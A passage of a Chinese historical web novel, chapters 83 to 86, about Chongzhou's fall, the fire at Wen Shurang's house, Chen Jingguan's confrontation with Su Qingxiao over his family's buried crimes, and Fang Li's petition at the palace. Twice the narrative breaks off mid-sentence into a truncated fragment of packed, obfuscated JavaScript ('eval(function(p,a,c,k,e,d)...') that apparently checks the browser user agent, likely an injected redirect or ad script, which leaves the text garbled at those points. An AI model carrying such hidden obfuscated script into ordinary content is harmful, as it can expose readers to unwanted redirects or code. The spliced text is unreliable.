“大娘还有最后一句话,你全当是我的牢骚。”大娘笑着,“太平了十年了,怎么就不能一直太平下去啊?我以为我葬了丈夫,就不用再葬儿子了。” 说罢,大娘呜咽着转身离开,席英抬头与陈京观对视时,两个人都红了眼睛。 “妈的,这仗老子一定要打赢。” 陈京观转身看着陆栖野。他从小在军营里长大,行伍出身的人没那么多规矩,但这是陈京观第一次听到陆栖野爆粗口。 陆栖野还是背着身,窗外的风抚过他的发带,最后停留在了陈京观脸上,一片清凉。 “师兄!崇州破了!” 平芜一嗓子喊醒了所有人,陈京观在一瞬间冲出大门,他瞧见平芜三步并作两步就朝楼上跑来。 “你慢些说,怎么回事?” 平芜站定,双眼被极度愤怒的情绪涨红,神色中满是不甘,“贺福愿,易帜投降。” 平芜的话像一把尖刀刺进了陈京观的胸口,不过几个时辰前席英刚与他说过贺福愿,他那时的信誓旦旦,如今看来简直滑天下之大稽。 贺福愿投降,简直可笑! “你从何处得来的消息?”陈京观问。 平芜突然沉默。 “你说话。”陈京观心里有了预感。 平芜的嘴唇颤抖着,声音也跟着发颤。 “温大人临死前,托人送出来的。那人走到董将军营帐的时候,也死了。” …… 三日前,崇州。 虽说东亭战事紧张,但是崇州有南魏的常备守军,那军营扎在城边,给百姓吃了颗定心丸,故而泯川画舫生意如常,即使隔着江水依稀能看到对岸东亭的军旗。 此日正逢画舫游船,几个名声在外的红楼纷纷立出牌子宣告登船名额,晌午游街的花车一结束,许多人就在岸边排起了长队,纵使登不上船,可远远看那些娘子一眼,也算值得。 霜栽在游街花车时刚进城,她由几个灵谍一路护送着回到泯川楼,她回去时还有几个富商大贾问今日的游行为何没有见到霜栽姑娘。 隔着人群,老鸨与霜栽两相对望,彼此都明白了心意,老鸨推说霜栽早上贪凉吃坏了肚子,傍晚的画舫一定有她。 那些堵在泯川楼外的男人虽然也不全信,可老鸨已经恳切解释了,他们不好再发难,只是留下些牢骚和嘱咐。 霜栽从后门一路不停地进了自己的屋,刚进门她房里等着人就迎了上来。 “师父,这些日子我覆着面纱,推说你春日起了疹子,那些客人倒也没说什么。” 霜栽应了一声好,去自己的衣橱旁翻找着什么。 “师父,”跟在霜栽身后的女子欲言又止,霜栽侧身看了她一眼,她便继续说道:“楼主留了信,今日成烟。” 霜栽手上的动作一滞,但很快她点头道,“知道了,东西都备好了吗?” “备好了,前些日子由送酒水的伙计一齐带上了画舫。” 霜栽“嗯”了一声,“你这些日子辛苦了,这次你可以不去。” “鸢绫时刻感念您和楼主的救命之恩,我无以为报。这次任务是我操办的,理应由我放最后这把火。” 鸢绫低着头,霜栽没搭话,她从衣橱里拿出一身紫绫罗的衫子,那纱像水波一样散在地上。 “你可想好了,这次是有去无回。” 鸢绫犹豫了片刻,点头道,“我就一个心愿,素姝那孩子不爱说话,她就信您,您帮我把她养大,如果可以,让她换个活法。” 霜栽抿着嘴,将手上的衫子递过去,“素姝那身功夫能保她衣食无忧了。” 鸢绫笑着摇头道,“可我想让她离开泯川楼,嫁个寻常人家,安稳活着。” “你这辈子在男人身上吃的苦还不够吗?” 霜栽没抬头,没看到鸢绫有些发苦的表情。 鸢绫没读过什么书,娘家在她十三岁的就给她说了亲事,婚后两年无子,夫家嫌她没用,可她自己知道,她甚至还没有来过月信。 从那时起她的日子开始变得难过,有一日她觉得自己快被打死的时候她流好多血,是素姝救了她。她怀上了孩子,换来了九个月的安生日子。 可素姝是个丫头。 鸢绫看到素姝的时候心都死了,她知道素姝将和她过一样的日子,果不其然,她叫秦念儿。 鸢绫的日子又开始回到从前,但是知道她能生之后他的夫家开始盼子,让她不停吃药。可她生素姝的时候是难产,这之后的五年,她都没有再怀上孩子。 终于,在一个雪夜她被赶出了家门,那一晚,她的丈夫搂着新妇又开始做生子的梦。 “够多了,可我不后悔生下她。许是我浅薄,做灵谍固然是靠本身就能寻个活路,可是手上沾的血多了,就不是人了。我把她托给您,是觉得您一定能为她寻个好人家,比起我这个母亲,您能为她找个更好的出路。” 霜栽不语,她轻轻将右手搭上了鸢绫的手背,那里留了一条浅浅的疤。 那是她第一次出任务,被崇宁接到了威岚坊,是她低估了崇宁的算计,白白搭上了鸢绫的一只手。 从阙州回来,霜栽找遍了所有大夫郎中,可没有人能接上鸢绫被挑断手筋。后来霜栽问苏清晓寻了药,可是苏清晓瞧了眼便摇了摇头,时间长了,消不掉了,它也成了霜栽心里的一条疤。 “没事,我只靠左手也能活。只是可惜了您教我的琵琶我弹不了了。” 鸢绫笑得腼腆,可霜栽心里却灌满了酸水,只往她鼻腔涌。 “您没拒绝我,我就当您应了。”鸢绫用左手抚上霜栽的手,“说来我比您大八岁,可远没有您的抱负,终究是小门小户的家雀。” 鸢绫笑得更灿烂了些,“但是燕雀,也能知道鸿鹄之志的,以我的死,为楼主换来一座城池,值得。” 这是崇州计划的最后一步,由一切的操盘手完成,是最万无一失的。霜栽知道鸢绫是对的,可是她不免想起三年前她在泯川楼外见到鸢绫的时候,那时她还叫苏盼儿。 多好听的姓,可偏偏要加上盼儿。 鸢绫手里抱着个五六岁的小姑娘,霜栽走过去的时候那小姑娘怯生生地看她,霜栽从她的眼睛里看到了自己。 阮青衣,也是这样救了霜栽。 其实鸢绫那时候也才二十出头,脸上还有少女的青涩,她不敢抬头看霜栽,但是当霜栽向她伸手的时候,她毫不犹豫的抓住了。 也是这毫不犹豫的动作,为她和女儿搏了个新生,她成了霜栽的徒弟,那小小的团子成了泯川楼最小的灵谍。 不过霜栽没有告诉鸢绫,在她拜自己为师的那晚,她一袭黑衣闯进了鸢绫的夫家,将那个对鸢绫拳打脚踢的男人一刀毙命。第二日他家人发现他的时候,他流出的血和鸢绫难产那日一样多。 “师父,素姝一定能看到天下海晏河清的那一天的,对吗?” 鸢绫从霜栽手里抽回了自己的手,她把外裙褪去,穿上这身紫绫罗。她摸着这昂贵的料子,眼神里的光伴着烛火随那金线一同摇曳。 “能,一定能。” 鸢绫没有再说话,她带上了面纱,抱上了已经很久没有发过声的琵琶,朝门口走去。 今晚,她会用废掉的右手重新弹奏《泊秦淮》。 鸢绫走后,霜栽换掉了身上的衣服,穿了一身素雅的白衣,也戴上了面纱。不过她没有从正门出去,她又返回了泯川楼后门,朝贺福愿的府邸走去。 …… 戌时一刻,崇州的天色暗了下来,泯川江的花灯由各家铺子点上,遥遥看去,江上一片血红。 戌时二刻,各家的画舫停在江边,来凑热闹的人摩肩接踵,装扮好的姑娘们由伙计护着送上船,所经之处香气莹莹。 戌时三刻,画舫游船正式开始。精致小巧的木船开道,船工的哨声引人侧目,等各家画舫驶进航道,崇州岸边花火绽放,丝竹声不绝于耳。 戌时四刻,“嘭”! 泯川楼的画舫一声巨响,周围避让不及的木船被炸毁的船身击中,岸边人的尖叫 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人年岁渐长后,心肠和手段就慢慢软了,萧霖是如此,萧娉祎也是如此。 当时贺福愿因为反对陈频而加入了崇宁的阵营,但这不代表他赞同崇宁的做法,他对崇宁背后所做之事一清二楚。 一个被逼上这位置的人,即使后来她被权利反哺而贪恋权力,她根子上也成不了千古明君。 反了,将一切化整为零,然后寻个新的领袖。 贺福愿以为陈京观会是上天为南魏选的领袖,他会是带南魏杀出重围的人,只因他是陈频的儿子。 可此时,贺福愿看到了另一种可能。 “不破不立。整个天下都在寻新生,东亭复国,或许不是灾难而是契机。” 之后的一个时辰,贺福愿带着霜栽进了自己的书房,他知道了一个叫江阮的年轻人。 他本不该随意轻信这个比陈京观还小的孩子,可是江阮的计划太完美了,而且时至今日,他没有行差踏错半步。 贺福愿一生都在寻一个功成名就的机会,他希望把自己的名字留在这伟大的计划中。 贺福愿背后的霜栽抬住了他的手臂,他回过神听到,“贺将军,大事将成,改天换地。” 贺福愿没有应,他抬起另一只手换上了旗帜,他似乎还能听见远处的泯川江畔人声嘈杂,他已经派兵去镇压。 明日,将是新的崇州城。 “记住,崇州是你们借去的,新皇登基,要还回来。不然我贺福愿,会亲自再把这旗帜换回来。” “当然,”霜栽应道,“我也是南魏人。” 贺福愿转头看着霜栽,“那你为何帮江阮做事?” 霜栽收回自己的手,抬头朝烟火一片的泯川江看去。 “我所愿,与贺将军无异。” 贺福愿叹了一口气,“可天下人眼里,我们是乱臣贼子。” 霜栽笑道,“可新皇登基时,你我是彪炳功臣。” 贺福愿没说话,他扶着刀柄的手慢慢滑下,握着了南魏的将军令牌。 “你说这世道,非将人不做人。” 霜栽想到了鸢绫的话,此刻的她应当随着泯川画舫坠入江水,或者随那花火成烟升天了。 灵谍做久了,就不是人了。 霜栽觉得鸢绫说得没错,不然为何她死了,霜栽流不出一滴泪。 只可惜霜栽这辈子没得选了,从她被阮青衣捡到的时候就没得选了。 这世间的好运都有定数,老天救你时,便已经为你定好了对价。 “对了,温叔让怎么办?他在崇州颇有势力,他在,崇州无法安定。” 霜栽摇头。 此时的温府,一场大火烧红了崇州的另外半边天,可泯川江边的声势压住了崇州境内的所有声音。 温府的大门紧闭,时不时有人锤击着门闩,朝外呼喊救命,但慢慢一切都没了生气,整个府院只剩下木料燃烧的“哔啵声”。 就如十年前的陈府一般。 放火的人站在长街上,眼中火舌四窜,瞧着火势已经到了无可挽回的地步,他抬步离开。 这是陈京观这辈子的第二场大火,废墟下是第一场火的余烬。 84.颓云駃雨(三) 温叔让死了。 陈京观那时只能听到这句话。 那个盼着自己回家吃饭的小老头死了。 明明陈京观离开崇州前,温叔让还盼着他中秋的时候能回家,到时候要为他做莲蓉月饼和火腿月饼。 明明温叔让还特意去学了芝麻馅汤圆的做法,就等着元宵节的时候做给陈京观吃。 明明温叔让已经逃出那场大火了,可那火焰还是吞没了他。 “起兵,去崇州。” 陈京观听到自己喉咙里挤出这几个字,可他面前的人没有动,就连刚才还打着颤的平芜都只是静静地望着他。 “他们打下崇州下一步就是阙州!” 陈京观尽量抑制住自己的情绪,可语调中还是充满抑不住的愤怒,这是他第一次如此想要杀人。 “未必,”陆栖野伸手重重按在陈京观肩膀上,“崇州原本就有贺福愿的守军,东亭拿下崇州后是否调动兵马等你自投罗网,他们打下崇州究竟是引蛇出洞还是抛砖引玉,这些你都不清楚。如今他在暗我们在明,你如此贸然起兵,就是送死。” 陆栖野的话把陈京观的神志拉了回来,可那是他最后的亲人,温叔让至死都没听到陈京观说一句外祖父。 “那也不能坐以待毙,”陈京观深吸一口气,“集合所有兵力,我们也去暗处。” 平芜与席英对视了一眼,席英朝他缓缓点头,平芜倾身告退朝遥州城外董辉的营地走去。 “你此时出兵崇州,是想要去杀谁?” “贺福愿。” 席英的问题刚出口,陈京观的回答几乎不假思索。他此时有些恍惚,眼神发直地盯着前方。 “然后呢?拔出萝卜带出泥,下一个人是谁?” 陈京观沉默了,他心里有明确的名字,但是他说不出口。 霜栽,晏离鸿,他们势必脱不了干系。他不明白,霜栽和晏离鸿见过温叔让的,还亲切地叫他爷爷。 而江阮,陈京观看得出泯川楼画舫走水是城门易帜的幌子。作为泯川楼的东家,江阮对这一切一清二楚,而江阮不是个会替别人背黑锅的,这一切势必得了他的授意。 当时晏离鸿说军令在姚康手里时,陈京观还庆幸过,现在他只觉得可悲。 江阮与他终究是不一样,只要能达到目的,他不在乎任何人。 陈京观想要尽可能把江阮摘在外面,等一个能当面问清楚的机会,但是江阮没有给他这个机会。 陈京观对这三个人心软过,此时,温叔让的血溅在他的刀上。 “你直接进来吧。” 陈京观突然开口,还没等席英反应,木门便被推开,她朝后退了一步,苏清晓站在门口。 “你都知道。” 陈京观说的不是问句。 “是。” 苏清晓没有动。 “然后你等着他们杀死温叔让,杀死我最后一个亲人。” 陈京观冷笑道,“起初我以为我同你们只是政见不合,我现在知道了,我们本就不是一路人。” 苏清晓没有解释,他双手扶在门框上,席英侧目看他时,苏清晓低下了头。 “苏清晓,你们怎么能这么狠啊,”陈京观声音哽咽,嘴唇微微颤动,他用舌头顶住上颚,努力不让眼泪流出来,“他还有两年就能退了,他碍不了你们的事。你们这样做,只会让我放弃心里所有的侥幸和顾忌。” “那天晏离鸿来,你也知道对吧。那时候你是不是在心里嘲讽我天真,嘲讽我蠢,嘲讽我看不出你们全是江阮对我的缓兵之计。苏清晓,我认下这一切是因为我忘不掉过去,你们,就是我的过去啊。” 陈京观抿着嘴,“我直到那时都以为是我对晏离鸿的不信任导致他选择了江阮,我是真可笑。” 说罢,陈京观轻笑着,随着漫无边际的自嘲从他心底破土,那笑声慢慢变成大笑,眼泪顺着他勾起的嘴角流下来,最后变成一股盐水浇灌黑暗处萌发的幼芽。 “那你如今还留在这里是做什么?看我的笑话?” 陈京观话锋一转,疾步走上前与苏清晓面对面,他逼迫苏清晓抬头,他试图从这双眼睛里找到一点无所谓。 好让他毫不犹豫地拔刀。 “我不是江阮的人。” 苏清晓的话为陈京观的预演按下暂停键,陈京观冷笑道,“怎么,临阵倒戈?就这你还看不起苏叔呢?他好歹只是明哲保身,没到你这两面三刀的程度吧。” “你怎么知道他没有?” 苏清晓的表情没有一丝变化,陈京观却不禁眉眼颤动。 “‘父不慈而子奔他乡’,还记得这句话吗?我们当初上学堂的时候先生讲过。陈京观,你还记得是什么意思吗?” 父不慈而子奔他乡,父为子之表率,如果父亲不慈爱,子女可另择良木,去往他乡。 学到这一句的时陈京观问过先生,父亲要如何做才算不慈爱。他记得先生没有说话,只是笑着望了望他。 “你还记得你们三司会审蒋铎时他说过什么吗?” 苏清晓见陈京观不答,自顾自地说:“你不用好奇我是怎么知道的。但我肯定你一定还记那句话,‘我没有让人放火’。他说的是真的。” 陈京观脑海里回溯起那画面,他当时只觉得是蒋铎狡辩,是他为了给自己脱罪而编的借口,毕竟当时的人都死,没有人知道事情的真相。 可是陈京观忽略了一个人,苏门三客,还留下了苏晋。 “你是说,火是苏晋放的?” 苏清晓点头,“很可笑对吧,可事实如此。当时萧霖让蒋铎全权负责孟知参污蔑上官一案,所有人都认为蒋铎会以权谋私,但实际上他没有。蒋铎下令将孟府所有人带走,他的目的只是找你。” “他为何如此?” 苏清晓顿了一下,眼神中生出陈京观看不懂的复杂情绪。 “人不要太相信自己。蒋铎,未必是你心里的蒋铎,苏晋亦是如此。你觉得你父亲所做的一切,苏晋都不知情吗?他们关系那么好,苏晋就没有阻拦过?他明知道陈频走的是必死的路,但是他一言不发,因为那原本是苏扬为他选的路。” 听到这里,陈京观的脑袋好像被人揉碎了重新安在了他的脖颈上。 苏清晓没有回答陈京观的问题,他隐藏了这一切的来源和他了解到的蒋铎,却毫不犹豫地掀开了苏晋的遮羞布。 按照苏晋曾说与陈京观的话,陈频起初的确是替他去的西芥,而陈频是从西芥回来后认了命,布下了这盘棋。 可萧霖为什么突然让苏晋去西芥? 南魏朝中虽说武将稀缺,可兵部和礼部每年拿着俸禄,出使和谈判应当是他们的活。 如果只凭陈频和苏晋在北梁攻打东亭一事上惹了崇宁,陈频因此被废相,也算是得到了惩戒,毕竟换上去的蒋铎是崇宁的人,她已经在实际上掌握了南魏朝堂。 那么是谁一定要让陈频死? 陈京观过去只想到这一步,此刻苏清晓的话为他续上了下文。 那个应当被世人铭记的,原该是苏晋。 陈频,是苏晋的替死鬼。替他赔了命,也替他享了名。 “可苏扬为何要如此?” “在苏扬眼中,所有人都是他的功绩。苏晋没有陈频的本事,生前为苏扬换不来好名声,可他如果按照苏扬为他选的路,死在替南魏谈判的路上,他们苏家就会名留青史。” 他们,苏家。 苏清晓言语间已经完全将自己和父辈切割开,陈京观瞧着眼前的人突然有些唏嘘。 天下人都称赞苏家盛名,可唯独苏清晓这个苏家独子知道那扇门里的腌臢事。 陈京观顿了一下,继续问道,“苏扬甚至没有想过给苏晋留一条后路,他就这么简单的将儿子的命舍了出去,去换个满门忠烈的牌匾?” 苏清晓点头,“想必苏晋说你说起过苏扬,事到如今我与他唯一的共识,怕就是对这位苏大学士,满心鄙夷。” 苏清晓叹了一口气,“索性弟子不必不如师,比起苏扬,你父亲棋高一筹,他硬是把简单的死局走出了一线生机。” 陈频没有轻易死在西芥,他甚至为南魏换来了苟延残喘的机会,只不过他越是如此,那些忌惮他的人就越害怕,就越要弄死他。 “如果只是因为这件事,”陈京观顿了一下,“我理解苏叔叔。就那样被人安排着走向死亡,谁都不会甘心。” 苏清晓没有当即回答,因为他心里冒出一句话:那陈京观,你甘心吗? 可最终这句话苏清晓没有问出口,他继续道:“你还记得你评价我的两面三刀吗?苏晋就是我的榜样。” 苏清晓在陈京观的注视下与他擦肩而过,走进了屋里,“陈频死后,孟知参失去了他在这世界上唯一的知己,于是他选择替陈频说出陈频没来得及说出来的话,然后被蒋铎灭口。这一切让人唏嘘,却也合理。只是陈频的罪名会让你陈家满门抄斩,而孟知参的罪名他一个人担就可以了,可孟家还是家破人亡。” 苏清晓背对着陈京观,他的声音颤了颤,“我与郁妍定过娃娃亲,你还记得吗?” 陈京观眉头一皱。 当时三家看孩子年纪相仿,非要想着凑个亲家。孟知参本来中意陈京观,可孟郁妍喜欢苏清晓。孟知参是严父,但是他也疼爱他抱在怀里长大的小姑娘,他就应下了这门亲。 后来,三家独活下了苏家。 “当时听闻是蒋铎负责孟叔叔一案,我已料想不好,我求父亲保下孟家妻女,即使被贬回老家做个教书先生,也比在这朝堂趋炎附势要好。父亲应下了我,可后来,他放了一把火烧掉了孟家。蒋铎其实是赶鸭子上架才作出孟家流放的决定,火都放了,谁人还信他蒋铎没有杀人的心肠。” 说到这,苏清晓轻笑道,“我父亲是三个人中资质最平庸的,可偏偏这一招,他走的无懈可击。他算好了蒋铎会替他担下了杀人的罪名,他反倒隐匿了声音,被萧霖指作大学生,以此安享晚年。” “可他为什么这么做?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏清晓轻笑一声,“我没想到江阮竟然会把这毒药用到霜栽身上。也是为此,我与他的关系变得不远不近。我的直觉告诉我这个人很可怕,他知道任何人的软肋,而我的心又冲动地拉住了我,它告诉我江阮会实现我想要的。” 所以苏清晓与江阮的关系像极了陈京观与江阮,江阮给霜栽下毒,江阮出卖恪多,为的都是提一提他手里的鱼线,告诉他们他手里握着一切。 江阮的做派,倒是一如既往的没有底线。 一切说开了,陈京观却不知道如何面对苏清晓。他漠视了温叔让的死,却也替陈京观解过围。他说他不是江阮的人,那么他又是何时知道崇州攻城计划的? “你不是他的人,那你对他要做的知道多少?” 苏清晓摇头,“如果你是问我崇州计划,我是在那晚晏离鸿来找你的时候知道的,当时晏离鸿拖住了你,霜栽告诉了我这一切。如果你是问我江阮究竟要做什么,我不知道。” 苏清晓说完顿了片刻继续说,“你要觉得我瞒了你,是,我承认。” “理由呢?”陈京观盯着苏清晓。 苏清晓沉默,许久后也不见他要解释。 “你就是赌我不会杀了你,是吗?” 陈京观朝苏清晓走近几步,苏清晓转身,两个人隔着咫尺距离。 “你会吗?” 苏清晓神色淡然,陈京观相信他见到霜栽时也是这幅面容。 陈京观不再说话,平芜的调令已经发出去,算时间董辉的兵应该已经到达遥州界,陈京观朝陆栖野微微点头,陆栖野明了地侧身离开。 “席英,敢不敢和我回一趟崇州?” 陈京观的话是对席英说的,可说话时他目不转睛的看着苏清晓。 “走。” 席英利落回答,转身离开房间去楼下召集先锋队。 “你回去,是为什么?” “探察军报。” “再无其他?” 陈京观轻笑一声,苏清晓比他个头矮些,他如今微微低头看着眼前的人,“他是我的家人,我不会让他躺在别人的刀剑下。” 陈京观侧身要离开,突然止住步子,“我什么都告诉你,如果你想告诉江阮,请自便。” 苏清晓想要辩解,却发觉自己张嘴时说不出一句话。 “你等等,”苏清晓叫住了陈京观,从自己怀里拿出一个令牌,“你如果只是想回去看看,想替他收尸,拿这个牌子进城,不会有人拦你的。” 陈京观看着眼前的令牌,顺着那红绳看到那双惨白的手,苏清晓的手好像有些发颤,他行医多年,这是他第一次抑制不住自己的颤抖。 陈京观没有回答他,就当苏清晓以为他拒绝了自己时,他手里一空。 “苏清晓,这条命我可以不算在你身上,但是我劝你离江阮远些。” 这一刻,陈京观认定了江阮。他做事向来遵从因果,可江阮手上背了人命,陈京观不想再去寻因了,他只想问江阮把温叔让的命讨回来。 你曾说过我们因缘和合,可最后,殊途难同归。 85.颓云駃雨(四) 陈京观原以为苏清晓第二日会离开,毕竟两个人昨天剑拔弩张。陈京观的手好几次扶在刀上,可苏清晓丝毫没有退却的意思,今天一早也是如此。 苏清晓将遥州医庐的事情全权交代给了随自己跑出来的小伙计,又连夜去遥州几个铺子收来了自己炼制的丹药,他身上几乎没带什么银钱,问客栈要了匹马后不远不近的跟在陈京观后面。 等着大部队行至崇州与朔州的边界时,陈京观终于耐不住性子叫停了队伍,一个人朝后去了。 “离朔州还有不足十里,你再往前走,就说不清了。” 苏清晓没有辩解,他从怀里拿出一个小玉瓶,“金疮药,寻常刀剑的伤都能治。” 苏清晓将手上的东西向前递,陈京观没接。 “如今崇州戒备严密,你就是有我的牌子也不一定万无一失,权当个保险。” “我如果死了,就没人挡你们的路了。” 苏清晓一时语塞,他瞧见陈京观背后的席英在朝这边望。 “我给你牌子不是为了让你去送死的,我在朔州等你。” “等我?”陈京观轻笑一声,“看我如何以一敌百?” “你知道自己打不过为什么还去?” 陈京观没说话,那夜陆栖野离开客栈后去了城外营地,迷津连夜回了澄州,他们在赌元衡的心思。 不过陈京观对此并不看好,他当然希望元衡能把兵给自己,可是崇州沦陷,陈京观已经失去了谈判的余地。 此次他去崇州,如果崇州城中有晏离鸿带去的昌安军,证明朔州守备出现空白,陈京观尚且能与江阮在朔州一战,若昌安军与东亭军全部驻守朔州,那陈京观打算先拿了贺福愿的人头,夺回崇州。 无论如何,箭在弦上。 “我为何要与你解释?” 陈京观作势转身离开,苏清晓也没有要追他的意思,依旧保持着最开始的速度跟在平远军后。 “陈京观,”苏清晓出声,陈京观的步子放缓,“对于崇州计划的一切我都不会说与你,这是我与江阮之间的信义,对于你的事情,也是如此。” “那你到底算什么?” 陈京观语气中的轻蔑不加掩饰的传达给了苏清晓,苏清晓对此并不在意,他与陈京观隔着两个马身的距离,他确定自己说的陈京观都能听到。 “我,两边下注。” “呵,”陈京观先是一声轻笑,许是真的被苏清晓的坦白无语到了,又连着干笑了几声,“你比起苏晋,有过之而无不及。” 苏清晓“嗯”了一声,没有打算解释,他骑着马快步朝前走到了陈京观身边。 “想打江阮,你太嫩了。” “所以呢?” “我帮你。” 苏清晓的话没有犹豫,可陈京观也不似从前一样轻信于人,他依旧目视前方,问道:“理由?” “我不想看你输得那么惨。” 陈京观苦笑着点头,连道了几声“是”,紧接着就听到苏清晓说:“还有,苏家欠陈频的,我来还。” 那晚苏清晓告诉了陈京观这一切的真相,陈京观却没有展露出苏清晓想象中的愤怒和伤心,好像他所说的在陈京观这里已经成了故事,是陈京观补足事实真相的碎片。 那时苏清晓终于看清,陈京观已经不再是会为过去之事失去理智的毛头小子了,他甚至与上次在益州相见时也不一样了,陈京观被身上的担子压的喘不过气,可这也让他明白如果自己再耽于过去,他会让更多的人失去未来。 平海是,温叔让也是。 于是陈京观经历的一切,都只是他的经历,不会再左右他的选择。 陈京观的冷静,反而衬出了苏清晓的慌乱。 过去的这十年,他离开家的这六七年,苏清晓无时无刻不在回想故去的事,可是他什么也没做,他以为自己在与苏家做切割,实际上他只是逃避承担这一切所带来的后果。 苏清晓之所以选择江阮,想借江阮的手推翻萧氏王朝,为陈孟两家报仇,是因为江阮承诺他,不会让他所做的一切大白于天下,更不会让苏家的卑劣过往公开于世。 他自以为可以永远藏于幕后,殊不知却让江阮握住了更多把柄。 当时霜栽告诉他崇州计划的时候,他多想冲上楼告诉陈京观,可是他不敢。 有其父必有其子,他们苏家骨子里就带着自私。 那晚陈京观通宵达旦思索着苏清晓的话,苏清晓也因为心乱如麻而彻夜未眠。 恍惚间,晨光熹微,一束金黄洒进房间遮住了苏清晓的双眼,他看到孟家失火那晚责问父亲的苏清晓走到自己窗前,问他为何成了这副样子。 “你能躲一辈子吗,苏清晓?” 那个男童稚嫩的声音里带着哭腔,他背后的火灼烧着苏清晓的双眼。 “回家吧,和苏晋一辈子躲起来,这就是你的命,苏清晓。” 男童丢下一句话后毅然决然走进了大火,那熊熊火势很快将他吞灭,可苏清晓心中却生出前所未有的畅快之感。 若当初自己也死在那场大火里,那现在该辗转反侧的就是苏晋。 可苏清晓很快对自己的想法嗤之以鼻。 去死,便是你这一夜的答案吗?便是你避无可避的选择吗? 苏清晓,你果真就是个懦夫。 门外,陈京观和席英开始做最后的准备,他们决定带所有将士潜回景州,从阙州边界直插崇朔二州交界,然后埋伏,迂回,直到完成他们能做的所有。 哪怕到这个时候,陈京观也没有想要避开苏清晓。 那一瞬,日头偏斜,光明渐暗,苏清晓却认清了自己。 陈京观,你不是想和我在下一盘棋吗?那就等着我和你打回阙州的时候,坐在崇明殿里下。 与其遮遮掩掩周身的墨迹,不如用更宏伟的画卷覆盖它。苏清晓想让后人再提起苏家,能在痛骂苏扬和苏晋时,大赞他苏清晓的伟业。 这何尝不是一场更彻底的复仇? 好名声,用正确的手段一样能挣得。苏清晓深吸一口气,踏出了房门,走向了陈京观的方向。 “你不必如此。” 陈京观偏过头,可脸上的动容被苏清晓看得一清二楚,他笑着答,“怎么,只许你做南魏的英雄,就不许那丰碑上有我苏清晓的名字?” 陈京观不答,苏清晓继续笑着说:“我以为我能藏得很好,后来想明白了,这才是江阮找上我的原因。我越怕天下人知道苏家的真相,我就越会被真相所禁锢。而人言可畏,终是挡不住的。” “可是瑕不掩瑜,苏家是苏家,你是你。” 陈京观下意识反驳,说完后两个人都笑了。 “行了,就此分别,前路保重,我在朔州等你。” 苏清晓又抬起那拿着金疮药的手,这一次陈京观接过去了,将它放在了胸口。 “等我消息。” 陈京观说罢扬鞭而去,在前头和陆栖野叮嘱了两句,大家都回身看到了苏清晓,没有一个人质疑他。 陈京观往崇州去时,挥手叫来了苏清晓,让他同所有人站在一起。 “他能做什么?” 在去崇州的路上,席英还是小心翼翼问出了心中的疑惑。 陈京观轻笑一声,“你万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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做皇帝,明面上是国家的话事人,是一切的主宰者,可只有坐上这个位置的时候,元衡才感受到周遭的压力如夜晚的细雨,无声无息盖住了所有行将破土的幼苗。 他成了北梁的一国之君,他便不能只考虑马上征战,他不能再随心所欲的挑起战争,因为他身上背着北梁万万生民的性命, 从前的他是一军之将,父王信任,将士忠心,他每日一睁眼就可以看着兵书和地图指点江山,可他做了皇帝后每日的奏章是官员升任,是天灾人祸,是税收粮食,他不能不看。 而他的伙伴,陆晁,元衡对他心知肚明。毫无疑问,陆晁是世间难得之良将,北梁能有今天他功不可没,但是比起元衡,陆晁沾染了林均许给他带来的儒气,刀剑早就生了绣。 于是元衡安然地度过了这十几年,或者说他让这天下安稳了十几年。 但是人总有死的一天,元衡老了,少时浴血沙场给他换来的是晚年身上不断提醒他的痛楚,元衡不怕这天下不是北梁的,他怕自己看不到这一天了。 他筹谋着筹谋着,像一只猎豹闻见血腥气后伺机而动,东亭就成了他最好的时机。 东亭灭国,让元衡坐上皇位,东亭复国,让元衡重燃雄心。 所以他一定不会放弃这个机会的,陆晁明白,林均许明白,和元衡朝夕相处半辈子的陆韶怜也明白。 “罢了,谁让我们是一个两个都选了这样的夫家,这是我的命,也是她陆韶怜的命。你随我进宫寻她。” 方荔放下手里的东西,连衣服都没换就与迷津骑着马朝赋阳宫跑去。 86.颓云駃雨(五) “臣妾北梁一品诰命夫人,北梁皇商,将军陆晁之妻,方荔,求见皇后娘娘。” 方荔下马,将缰绳随手一丢便跪在了赋阳宫外,闻声而来的内侍要扶她,她摆手推开了。 “劳烦公公跑一趟,告诉皇后娘娘她陆家有难,她是管还是不管?” 内侍闻言立刻变了颜色,向方荔做着噤声的手势,“方夫人,万万不可啊,您这是对皇家不敬。” “请皇上明鉴,我方家和陆家忠心于陛下,忠心于北梁,无论是人还是钱,北梁需要我们都义不容辞。臣妾只求问一句,陆家于北梁究竟是什么?” 方荔的话说完,那内侍立刻朝宫里跑去,不出一刻,整个澄州城都知道方荔正跪在赋阳宫外讨说法。 不过方荔不在意,她腰板挺直,身上是寻常人家的粗布衫裙,裙边被泥土染了色,更显出这位将军夫人的勤勉。 “方夫人快请起,我家娘娘邀您去宫中一坐。” 不知道过了多久,一个清脆的女声响起。方荔抬头,陆韶怜宫里的春雨殷切地朝她伸手要扶她起来,方荔推脱开,自己站起身。 “陆家的事情,娘娘都知道吧。” 春雨默不作声,只是领着方荔朝陆韶怜的宫中去。 陆韶怜的宫殿方荔来过三次,一次是陆韶怜入宫,一次是她生下元焕,一次是她生下元煜,后两次还是因为陆晁不方便她才去的。 对于自己这个小姑子,方荔与她说不上亲近,当时方荔自己上门以马场为嫁妆朝陆晁求亲,陆韶怜对自己那嗤之以鼻的表情她这辈子都记得。 可后来发誓要靠自己的双手打天下的陆韶怜被招进宫,虽说锦衣玉食侍奉着,但是陆韶怜的骄傲没有了。 比起方荔主动上门的勇气,她甚至没能为自己的婚事说一句话。 其实陆韶怜是喜欢元衡的,可元衡是君王,站在他身侧的陆韶怜永远只能是陆皇后,她不甘心。 